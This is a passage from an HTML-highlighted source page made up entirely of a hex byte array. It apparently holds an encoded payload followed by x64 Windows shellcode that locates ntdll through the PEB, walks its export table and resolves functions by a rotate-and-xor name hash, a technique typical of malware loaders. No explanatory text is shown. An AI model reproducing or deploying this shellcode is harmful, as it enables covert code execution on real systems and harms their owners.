class="mh">0x81</span><span class="p">,</span> <span class="mh">0x36</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x33</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x4b</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x21</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x5c</span><span class="p">,</span> <span class="mh">0xe4</span><span class="p">,</span> <span class="mh">0x19</span><span class="p">,</span> <span class="mh">0x19</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0x6f</span><span class="p">,</span> <span class="mh">0x32</span><span class="p">,</span> <span class="mh">0x2f</span><span class="p">,</span> <span class="mh">0x51</span><span class="p">,</span> <span class="mh">0x7f</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x5e</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0xb1</span><span class="p">,</span> <span class="mh">0xbe</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x11</span><span class="p">,</span> <span class="mh">0x6f</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0xd3</span><span class="p">,</span> <span class="mh">0xdb</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd6</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x27</span><span class="p">,</span> <span class="mh">0x34</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x4b</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x13</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0xb0</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x67</span><span class="p">,</span> <span class="mh">0xdb</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x85</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x5e</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x6b</span><span class="p">,</span> <span class="mh">0xb3</span><span class="p">,</span> <span class="mh">0x26</span><span class="p">,</span> <span class="mh">0xa2</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0x50</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0x77</span><span class="p">,</span> <span class="mh">0x5b</span><span class="p">,</span> <span class="mh">0x16</span><span class="p">,</span> <span class="mh">0x6a</span><span class="p">,</span> <span class="mh">0x82</span><span class="p">,</span> <span class="mh">0x26</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x13</span><span class="p">,</span> <span class="mh">0x77</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0x35</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x5f</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x13</span><span class="p">,</span> <span class="mh">0x4f</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x57</span><span class="p">,</span> <span class="mh">0xdb</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x0d</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0xbf</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0xb3</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x41</span><span class="p">,</span> <span class="mh">0xba</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x0e</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xed</span><span class="p">,</span> <span class="mh">0x24</span><span class="p">,</span> <span class="mh">0x20</span><span class="p">,</span> <span class="mh">0x61</span><span class="p">,</span> <span class="mh">0x0c</span><span class="p">,</span> <span class="mh">0x60</span><span class="p">,</span> <span class="mh">0x61</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb5</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd2</span><span class="p">,</span> <span class="mh">0xbf</span><span class="p">,</span> <span class="mh">0xf3</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb6</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xef</span><span class="p">,</span> <span class="mh">0x51</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x70</span><span class="p">,</span> <span class="mh">0x7a</span><span class="p">,</span> <span class="mh">0x2c</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x07</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb7</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xa2</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0x24</span><span class="p">,</span> <span class="mh">0x75</span><span class="p">,</span> <span class="mh">0x54</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb9</span><span class="p">,</span> <span class="mh">0x3b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0x7a</span><span class="p">,</span> <span class="mh">0xd3</span><span class="p">,</span> <span class="mh">0x38</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x91</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0xb9</span><span class="p">,</span> <span class="mh">0x5c</span><span class="p">,</span> <span class="mh">0x8c</span><span class="p">,</span> <span class="mh">0xb3</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x94</span><span class="p">,</span> <span class="mh">0x39</span><span class="p">,</span> <span class="mh">0x43</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb1</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xaa</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0xca</span><span class="p">,</span> <span class="mh">0xf6</span><span class="p">,</span> <span class="mh">0x27</span><span class="p">,</span> <span class="mh">0x32</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd2</span><span class="p">,</span> <span class="mh">0x97</span><span class="p">,</span> <span class="mh">0x13</span><span class="p">,</span> <span class="mh">0x51</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xeb</span><span class="p">,</span> <span class="mh">0x30</span><span class="p">,</span> <span class="mh">0x3e</span><span class="p">,</span> <span class="mh">0x37</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb1</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x39</span><span class="p">,</span> <span class="mh">0x5e</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0xb1</span><span class="p">,</span> <span class="mh">0xaf</span><span class="p">,</span> <span class="mh">0x35</span><span class="p">,</span> <span class="mh">0x94</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0x77</span><span class="p">,</span> <span class="mh">0x07</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xde</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0x77</span><span class="p">,</span> <span class="mh">0x4b</span><span class="p">,</span> <span class="mh">0x95</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x3b</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb5</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x9b</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0x2a</span><span class="p">,</span> <span class="mh">0x9f</span><span class="p">,</span> <span class="mh">0x6c</span><span class="p">,</span> <span class="mh">0xd5</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x81</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x99</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x5d</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0x5b</span><span class="p">,</span> <span class="mh">0xd4</span><span class="p">,</span> <span class="mh">0x4e</span><span class="p">,</span> <span class="mh">0x33</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0xe8</span><span class="p">,</span> <span class="mh">0xa3</span><span class="p">,</span> <span class="mh">0xe6</span><span class="p">,</span> <span class="mh">0xf1</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0xf5</span><span class="p">,</span> <span class="mh">0xc6</span><span class="p">,</span> <span class="mh">0xee</span><span class="p">,</span> <span class="mh">0xce</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0x97</span><span class="p">,</span> <span class="mh">0x7b</span><span class="p">,</span> <span class="mh">0x6f</span><span class="p">,</span> <span class="mh">0x55</span><span class="p">,</span> <span class="mh">0x2f</span><span class="p">,</span> <span class="mh">0x59</span><span class="p">,</span> <span class="mh">0xd3</span><span class="p">,</span> <span class="mh">0xa8</span><span class="p">,</span> <span class="mh">0xb3</span><span class="p">,</span> <span class="mh">0x26</span><span class="p">,</span> <span class="mh">0x56</span><span class="p">,</span> <span class="mh">0xe8</span><span class="p">,</span> <span class="mh">0x14</span><span class="p">,</span> <span class="mh">0x40</span><span class="p">,</span> <span class="mh">0x21</span><span class="p">,</span> <span class="mh">0x3c</span><span class="p">,</span> <span class="mh">0x39</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0xec</span><span class="p">,</span> <span class="mh">0x28</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0xe4</span><span class="p">,</span> <span class="mh">0xf0</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xc9</span><span class="p">,</span> <span class="mh">0x65</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x25</span><span class="p">,</span> <span class="mh">0x30</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x40</span><span class="p">,</span> <span class="mh">0x60</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x40</span><span class="p">,</span> <span class="mh">0x18</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x70</span><span class="p">,</span> <span class="mh">0x10</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x36</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x4e</span><span class="p">,</span> <span class="mh">0x60</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x19</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xba</span><span class="p">,</span> <span class="mh">0x6e</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x74</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x64</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x6c</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x39</span><span class="p">,</span> <span class="mh">0xd3</span><span class="p">,</span> <span class="mh">0x74</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x75</span><span class="p">,</span> <span class="mh">0xe5</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x5e</span><span class="p">,</span> <span class="mh">0x30</span><span class="p">,</span> <span class="mh">0x49</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x5b</span><span class="p">,</span> <span class="mh">0x3c</span><span class="p">,</span> <span class="mh">0x4c</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0xc3</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xc9</span><span class="p">,</span> <span class="mh">0x66</span><span class="p">,</span> <span class="mh">0x81</span><span class="p">,</span> <span class="mh">0xc1</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0x88</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xc1</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0x08</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x14</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x4c</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0xc2</span><span class="p">,</span> <span class="mh">0x44</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x14</span><span class="p">,</span> <span class="mh">0x4d</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xdb</span><span class="p">,</span> <span class="mh">0x44</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x5a</span><span class="p">,</span> <span class="mh">0x20</span><span class="p">,</span> <span class="mh">0x4d</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0xc3</span><span class="p">,</span> <span class="mh">0x4d</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0xdd</span><span class="p">,</span> <span class="mh">0x4c</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0xd1</span><span class="p">,</span> <span class="mh">0x67</span><span class="p">,</span> <span class="mh">0xe3</span><span class="p">,</span> <span class="mh">0x0e</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xdb</span><span class="p">,</span> <span class="mh">0x41</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x1c</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x4c</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0xc3</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0xc9</span><span class="p">,</span> <span class="mh">0xeb</span><span class="p">,</span> <span class="mh">0x34</span><span class="p">,</span> <span class="mh">0xeb</span><span class="p">,</span> <span class="mh">0x5a</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0xcf</span><span class="p">,</span> <span class="mh">0x4d</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xdb</span><span class="p">,</span> <span class="mh">0x44</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x5a</span><span class="p">,</span> <span class="mh">0x24</span><span class="p">,</span> <span class="mh">0x4d</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0xc3</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0xc1</span><span class="p">,</span> <span class="mh">0x41</span><span class="p">,</span> <span class="mh">0x0f</span><span class="p">,</span> <span class="mh">0xb7</span><span class="p">,</span> <span class="mh">0x0c</span><span class="p">,</span> <span class="mh">0x4b</span><span class="p">,</span> <span class="mh">0x4d</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xdb</span><span class="p">,</span> <span class="mh">0x44</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x5a</span><span class="p">,</span> <span class="mh">0x1c</span><span class="p">,</span> <span class="mh">0x4d</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0xc3</span><span class="p">,</span> <span class="mh">0x45</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x3c</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x4d</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0xc7</span><span class="p">,</span> <span class="mh">0x41</span><span class="p">,</span> <span class="mh">0x57</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0xf9</span><span class="p">,</span> <span class="mh">0x4d</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0xeb</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0xc9</span><span class="p">,</span> <span class="mh">0xeb</span><span class="p">,</span> <span class="mh">0xbb</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xc0</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0xde</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xdb</span><span class="p">,</span> <span class="mh">0x8a</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0x84</span><span class="p">,</span> <span class="mh">0xdb</span><span class="p">,</span> <span class="mh">0x74</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0xc1</span><span class="p">,</span> <span class="mh">0xc0</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0xc6</span><span class="p">,</span> <span class="mh">0xeb</span><span class="p">,</span> <span class="mh">0xf0</span><span class="p">,</span> <span class="mh">0x3d</span><span class="p">,</span> <span class="mh">0x65</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0xcd</span><span class="p">,</span> <span class="mh">0xb5</span><span class="p">,</span> <span class="mh">0x74</span><span class="p">,</span> <span class="mh">0xaf</span><span class="p">,</span> <span class="mh">0x3d</span><span class="p">,</span> <span class="mh">0x3e</span><span class="p">,</span> <span class="mh">0x60</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x4f</span><span class="p">,</span> <span class="mh">0x74</span><span class="p">,</span> <span class="mh">0xa8</span><span class="p">,</span> <span class="mh">0xeb</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x4c</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x74</span><span class="p">,</span> <span class="mh">0x24</span><span class="p">,</span> <span class="mh">0x08</span><span 